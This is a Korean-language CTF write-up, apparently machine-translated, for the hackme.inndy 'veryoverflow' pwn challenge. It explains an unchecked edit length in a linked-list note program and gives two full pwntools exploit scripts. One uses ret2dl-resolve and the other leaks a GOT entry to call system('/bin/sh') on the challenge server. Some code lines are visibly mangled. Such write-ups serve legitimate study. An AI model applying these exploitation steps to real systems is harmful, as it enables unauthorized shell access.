hackme inndy pwn veryoverflow writeup
10002 단어 pwn
이 문 제 는 두 가지 사고 가 있 는데 첫 번 째 는 return2dl resolve 이 고 두 번 째 는 libc 누설, rop 운행 system ('/bin/sh') 이다.
완벽 하 게 하고 싶 어서 처음에 첫 번 째 로 썼 습 니 다. 다 썼 습 니 다. 로 컬 get 에서 셸 까지 연결 되 었 습 니 다. 서버 까지 연결 되 었 습 니 다. 결 과 는 안 됩 니 다. 한 번 보 니 스 택 의 주 소 는 처음에 ff 이 고 이것 도 eof 를 대표 합 니 다.
사실 두 가지 생각 은 모두 rop 인 데 여 기 는 어떻게 rop 입 니까?
메모 장 프로그램 이기 때문에 new note, show note 기능 이 있 습 니 다.
모든 note 는 하나의 단 방향 링크 로 연결 되 어 있 습 니 다. 그러나 edit note 에 서 는 길 이 를 검사 하지 않 았 기 때문에 다음 note 를 수정 하 는 지침 이 넘 쳐 서 임의의 메모리 쓰기 와 임의의 메모리 읽 기 를 만 들 수 있 습 니 다.
첫 번 째 사 고 는 이 문제 가 read 가 없 기 때문에 FILE * stdin 을 누설 해 야 합 니 다. 그러나 FILE * stdin 이 있 는 메모리 에는 두 개의 연속 적 인 내용 이 있 는 메모리 가 연결 되 어 있 지 않 기 때문에 먼저 FILE * stdin 앞 에 글 을 쓴 다음 에 읽 어야 합 니 다.
읽 은 후에 rop 는 fget (bss + 0x 900, 0x 128, stdin) 을 호출 한 다음 에 bss + 0x 900 에 dl resolve data 를 올 린 다음 에 rop 는 dl resolve call (bss + 0x 920, bss + 0x 900) 을 호출 합 니 다.
두 번 째 사고방식 은 got 표 의 내용 을 직접 누설 한 다음 에 기본 주 소 를 구하 고 rop 호출 system ('/bin/sh')
첫 번 째 사고 코드
from pwn import *
import roputils as rp
#p=process('./very_overflow')
p=remote('hackme.inndy.tw', 7705)
rop=rp.ROP('./very_overflow')
e=ELF('./very_overflow')
context.log_level='debug'
#gdb.attach(proc.pidof(p)[0])
bss=e.bss()+0x900
#raw_input()
def add_note(content):
p.sendline('1')
p.recvuntil('Input your note: ')
p.sendline(content)
p.recvuntil('Your action: ')
def edit_note(index,content):
p.sendline('2')
p.recvuntil('Which note to edit: ')
p.sendline(str(index))
p.recvuntil('Your new data: ')
p.sendline(content)
p.recvuntil('Your action: ')
def show_note(index,sw=0):
p.sendline('3')
p.recvuntil('Which note to show: ')
p.sendline(str(index))
p.recvuntil('Next note: ')
addr=p.recvuntil('
')[:-1]
p.recvuntil('Note data: ')
data=p.recvuntil('
')[:-1]
p.recvuntil('Your action: ')
if sw==0:
return addr
else:
return data
def exit_note():
p.sendline('5')
add_note('1234')
stack=show_note(0)
print(stack)
stack=int(stack,16)
rop_addr=stack+0x4202
stdin=0x804A040-8
edit_note(0,'1'*6+p32(stdin))
edit_note(2,'a')
edit_note(0,'1'*6+p32(stdin+4))
data=show_note(2,1)[:4]
import struct
stdin_f=struct.unpack(',data)[0]
print(hex(stdin_f))
edit_note(0,'1'*6+p32(rop_addr))
payload=rop.call('fgets',bss,0x100,stdin_f)
payload+=rop.dl_resolve_call(bss+0x20,bss)
edit_note(2,payload)
bss_data='/bin/sh\x00'
bss_data += rop.fill(0x20,bss_data)
bss_data += rop.dl_resolve_data(bss+0x20,'system')
exit_note()
time.sleep(1)
p.sendline(bss_data)
p.interactive()
두 번 째 사고 코드
from pwn import *
debug=0
if debug:
p=process('./very_overflow')
context.log_level='debug'
e=ELF('/lib/i386-linux-gnu/libc.so.6')
#gdb.attach(proc.pidof(p)[0])
#raw_input()
else:
context.log_level='debug'
p=remote('hackme.inndy.tw',7705)
e=ELF('./libc.so')
def add_note(content):
p.sendline('1')
p.recvuntil('Input your note: ')
p.sendline(content)
p.recvuntil('Your action: ')
def edit_note(index,content):
p.sendline('2')
p.recvuntil('Which note to edit: ')
p.sendline(str(index))
p.recvuntil('Your new data: ')
p.sendline(content)
p.recvuntil('Your action: ')
def show_note(index,sw=0):
p.sendline('3')
p.recvuntil('Which note to show: ')
p.sendline(str(index))
p.recvuntil('Next note: ')
addr=p.recvuntil('
')[:-1]
p.recvuntil('Note data: ')
data=p.recvuntil('
')[:-1]
p.recvuntil('Your action: ')
if sw==0:
return addr
else:
return data
def exit_note():
p.sendline('5')
add_note('1234')
stack=show_note(0)
print(stack)
stack=int(stack,16)
rop_addr=stack+0x4202
put_got=0x0804A014
edit_note(0,'1'*6+p32(put_got-4))
data=show_note(2,1)[:4]
import struct
puts=struct.unpack(',data)[0]
base=puts-e.symbols['puts']
system=base+e.symbols['system']
binsh=base+e.search('/bin/sh').next()
edit_note(0,'1'*6+p32(rop_addr))
payload=p32(system)+p32(0xdeadbeef)+p32(binsh)
edit_note(2,payload)
exit_note()
p.interactive()